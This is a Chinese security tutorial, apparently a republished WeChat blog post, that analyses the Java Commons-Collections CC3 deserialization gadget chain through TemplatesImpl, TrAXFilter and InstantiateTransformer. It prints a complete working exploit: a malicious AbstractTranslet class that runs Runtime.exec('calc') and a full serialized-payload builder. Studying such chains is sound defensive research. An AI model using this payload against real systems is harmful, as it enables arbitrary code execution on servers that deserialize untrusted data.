JAVA安全-反序列化系列-CC3分析

admin 2024年12月28日09:51:15评论12 views字数 6094阅读20分18秒阅读模式
JAVA安全-反序列化系列-CC3分析
JAVA安全-反序列化系列-CC3分析

点击上方蓝字·关注我们

免责声明
JAVA安全-反序列化系列-CC3分析

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

前言
JAVA安全-反序列化系列-CC3分析

文章分析中有部分CC1的知识点,可以先看先前的CC1分析,再看这篇

文章目录
JAVA安全-反序列化系列-CC3分析
前置知识链子分析完整payload最后
前置知识

在CC1和CC6中,我们的执行点是InvokerTransformer的transform方法,它采用是动态类加载实现任意类方法执行的,而在CC3中,执行点ClassLoader#defineClass,它可以直接加载字节码无论加载远程class还是本地class或者jar文件

这里简单解释一下java中字节码的概念

它是程序的一种低级表示,可以运行于Java虚拟机上。将程序抽象成字节码可以保证Java程序在各种设备上的运行

Java号称是一门“一次编译到处运行”的语言,从我们写的java文件到通过编译器编译成java字节码文件(.class文件),这个过程是java编译过程;而我们的java虚拟机执行的就是字节码文件。不论该字节码文件来自何方,由哪种编译器编译,甚至是手写字节码文件,只要符合java虚拟机的规范,那么它就能够执行该字节码文件。

简单来说字节码就是把.java文件编译成.class文件后.class文件中的内容

链子分析

我们从执行点往上追,来到ClassLoader#defineClass

JAVA安全-反序列化系列-CC3分析

我们就是看谁重写了defineClass,选择查找用法,找一个能调用的

JAVA安全-反序列化系列-CC3分析

链子中用到的是这个,我们打开看下

JAVA安全-反序列化系列-CC3分析

这个defineClass没有写作用域,那么就是default,只能在它自己的包里面调用,那么我们就看它的调用

JAVA安全-反序列化系列-CC3分析

在它的defineTransletClasses方法中调用了,然后它这里传入的属性是_bytecodes,这个要记一下,这个就是我们传入的字节码数据

接着看谁调用了defineTransletClasses

JAVA安全-反序列化系列-CC3分析

三处调用,我们看的是getTransletInstance(),他这里又有两个条件如果_name等于null,就返回了,所以name不能为空,_class等于null就会调用defineTransletClasses,所以_class要等于空

我们接着看谁调用了getTransletInstance

JAVA安全-反序列化系列-CC3分析

只有一处,就是TemplatesImpl的newTransformer()方法,也就是TemplatesImpl初始化的时候会调用,到这里我们就可以简单构造个可以加载字节码的demo了

先创建个执行计算器的java文件

publicclassexec1 {publicstaticvoidmain(String[] args) {    }static {try {Runtime.getRuntime().exec("calc");        } catch (IOException e) {thrownewRuntimeException(e);        }    }}

可以使用javac手动编译,也可以使用IDEA运行,IDEA会生成编译后的class文件

JAVA安全-反序列化系列-CC3分析

接着来写demo

publicclassCommonCollections3 {publicstatic void main(String[] args) throwsIOExceptionInvocationTargetExceptionInstantiationExceptionIllegalAccessExceptionNoSuchMethodExceptionNoSuchFieldExceptionTransformerConfigurationException {        byte[] code =Files.readAllBytes(Paths.get("D:\代码审计\代审源码\javademo\cc_demo\target\classes\com\example\cc_demo\exec1.class"));//获取class文件,转换成字节码格式              byte[][] codes = {code};        //由于_bytecodes的数据类型是byte[][],所以我们要转换一下        TemplatesImpl templates = new TemplatesImpl();        //new 一个TemplatesImpl        Class aClass = templates.getClass();        //获取TemplatesImpl的Class        Field name = aClass.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaaa");        Field bytecodes = aClass.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,codes);        Field tfactory = aClass.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        //反射获取成员属性,然后修改        templates.newTransformer();        //初始化templates    }}

代码很短,主要反射修改属性值,这里我们执行一下

JAVA安全-反序列化系列-CC3分析

运行后报错,我们可以看报错信息,也可以断点调试,看下它有没有加载我们的字节码文件

JAVA安全-反序列化系列-CC3分析

断个点,调试一下

JAVA安全-反序列化系列-CC3分析

它这里获取到了我们传入的字节码文件,我们接着往下看

JAVA安全-反序列化系列-CC3分析

这里有个判断,判断我们传入的对象是否等于ABSTRACT_TRANSLET,如果等于_transletIndex赋值为0,然后底下还有个判断,_transletIndex<0,就会报错,那么我们就知道了,我们传入的类要等于ABSTRACT_TRANSLET,它是个常量,我们看下是什么

JAVA安全-反序列化系列-CC3分析

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,那我们让传入的类继承它就可以了,修改一下

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;publicclassexecextendsAbstractTranslet{publicstaticvoidmain(String[] args) {    }static {try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {thrownewRuntimeException(e);        }    }@Overridepublicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {    }@Overridepublicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {    }}

再次编译成Class文件,我们再运行一下我们构造的demoJAVA安全-反序列化系列-CC3分析

命令成功执行,计算器弹出,那么到这里我们执行代码的逻辑就搞明白了,主要是要初始化TemplatesImpl(),那我们接下来就看谁调用了newTransformer()

JAVA安全-反序列化系列-CC3分析

这里找到的是TrAXFilter类,它的构造方法里面调用了templates.newTransformer(),而templates就是它构造方法的参数,那么这里就是我们构造的templates,我们可以测试一下嘛

newTrAXFilter(templates);
JAVA安全-反序列化系列-CC3分析

可以看到它也可以执行

那么我们就想有没有一个类的Transformer可以调用任意类的构造方法呢,这样不就和CC1的前半段接上了嘛,还真有

InstantiateTransformer这个类,它的transform方法可以获取任意类的构造方法,我们看下它是着么用的

JAVA安全-反序列化系列-CC3分析

它这个两个参数,iParamTypes是我们获取的构造方法,iArgs是实例化的对象,transform参数是获取构造方法的class,我们这里直接用一下

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);
JAVA安全-反序列化系列-CC3分析

它这里就可以执行了,因为调用的是InstantiateTransformer.transform嘛,接着就和cc1一样了,直接把代码粘贴过来,修改一下

完整payload

publicclassCommonCollections3 {publicstaticvoidmain(String[] args)throws IOException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException, ClassNotFoundException {byte[] code = Files.readAllBytes(Paths.get("D:\代码审计\代审源码\javademo\cc_demo\target\classes\com\example\cc_demo\exec.class"));byte[][] codes = {code};TemplatesImpltemplates=newTemplatesImpl();ClassaClass= templates.getClass();Fieldname= aClass.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"aaaa");Fieldbytecodes= aClass.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        bytecodes.set(templates,codes);Fieldtfactory= aClass.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,newTransformerFactoryImpl());        Transformer[] transformer = newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class}, newObject[]{templates})        };ChainedTransformerchainedTransformer=newChainedTransformer(transformer);        HashMap<Object, Object> objectObjectHashMap = newHashMap<>();        objectObjectHashMap.put("value","aaa");Mapdecorate= TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);        Class<?> aClass1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor<?> declaredConstructor = aClass1.getDeclaredConstructor(Class.class, Map.class);        declaredConstructor.setAccessible(true);Objecto= declaredConstructor.newInstance(Target.class, decorate);        serialize(o);        unserialize("ser.bin");    }publicstaticvoidserialize(Object obj)throws IOException {ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));        oos.writeObject(obj);    }publicstatic Object unserialize(String Filename)throws  IOException, ClassNotFoundException{ObjectInputStreamobjectInputStream=newObjectInputStream(newFileInputStream(Filename));Objecto= objectInputStream.readObject();return o;    }}
JAVA安全-反序列化系列-CC3分析
最后

目前交流群人数超了只能邀请,需要进群交流的加作者微信备注交流群

性感群主不定期水群在线解答问题!

JAVA安全-反序列化系列-CC3分析

原文始发于微信公众号(菜狗安全):JAVA安全-反序列化系列-CC3分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日09:51:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全-反序列化系列-CC3分析http://cn-sec.com/archives/3563652.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息